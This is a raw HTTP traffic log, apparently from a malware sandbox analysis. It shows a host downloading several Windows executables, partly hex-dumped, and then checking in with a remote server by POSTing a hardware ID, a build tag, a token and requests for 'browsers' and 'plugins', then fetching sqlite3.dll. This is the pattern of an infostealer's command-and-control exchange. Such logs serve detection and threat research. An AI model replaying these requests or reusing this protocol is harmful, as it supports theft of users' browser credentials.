1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 21 Oct 2024 06:47:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "94750-5e7ea271b0900"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 21 Oct 2024 06:47:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "6dde8-5e7ea271b0900"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 21 Oct 2024 06:47:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "1f3950-5e7ea271b0900"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 21 Oct 2024 06:47:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "3ef50-5e7ea271b0900"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 21 Oct 2024 06:47:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "13bf0-5e7ea271b0900"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.44.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 147.45.44.221Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 37 39 34 30 30 32 39 30 43 35 33 35 32 38 30 30 33 31 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6e 66 7a 65 6f 6e 77 63 69 74 75 63 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="hwid"D579400290C53528003197------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="build"nfzeonwcituc------DAFBGHCAKKFCAKEBKJKK--
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBGHost: 147.45.44.221Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="message"browsers------IECBGIDAEHCGDGCBKEBG--
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIIIJDAAAAAAKECBFBAHost: 147.45.44.221Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 2d 2d 0d 0a Data Ascii: ------EHIIIJDAAAAAAKECBFBAContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------EHIIIJDAAAAAAKECBFBAContent-Disposition: form-data; name="message"plugins------EHIIIJDAAAAAAKECBFBA--
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEGHIJEHJDHIDHIDAEHHost: 147.45.44.221Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 2d 2d 0d 0a Data Ascii: ------CAEGHIJEHJDHIDHIDAEHContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------CAEGHIJEHJDHIDHIDAEHContent-Disposition: form-data; name="message"fplugins------CAEGHIJEHJDHIDHIDAEH--
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 147.45.44.221Content-Length: 5859Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/sqlite3.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
